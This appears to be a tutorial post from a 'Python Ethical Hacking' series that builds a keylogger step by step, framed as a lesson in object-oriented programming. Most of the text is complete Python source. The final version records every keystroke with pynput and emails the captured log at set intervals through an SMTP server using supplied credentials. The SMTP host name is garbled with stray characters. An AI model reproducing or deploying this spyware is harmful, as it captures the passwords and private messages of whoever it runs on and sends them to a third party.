Python Ethical Hacking - KEYLOGGER(3)

Object-Oriented Programming

Keylogger Classes

Way of modeling program(blueprint). Logically group functions and data. Makes code more readable. More reusable. Separate implementation from usage(encapsulation). Easier to extend. Easier to maintain.

The Keylogger Class:

#!/usr/bin/env python
import threading

import pynput.keyboard

log = ""


class Keylogger:
    def process_key_press(self, key):
        global log
        try:
            log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + " " + str(key) + " "

    def report(self):
        global log
        print(log)
        log = ""
        timer = threading.Timer(10, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

The main Python program calling the Keylogger Class:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger()
my_keylogger.start() 

 

 

 

 Constructor Method & Instance Variables:

AKA initialization method. Gets executed automatically when a class is created.

#!/usr/bin/env python
import threading

import pynput.keyboard


class Keylogger:
    def __init__(self):
        self.log = ""

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.log = ""
        timer = threading.Timer(10, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

 

 

Polish the Python Class Code once more to log Key-strikes and report them by email.

#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard


class Keylogger:
    def __init__(self, time_interval, email, password):
        self.log = "Keylogger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self, email, password, message):
        server = smtplib.SMTP("smtp.gmail测试数据", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Main program:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120, "[email protected]", "12345678")
my_keylogger.start()

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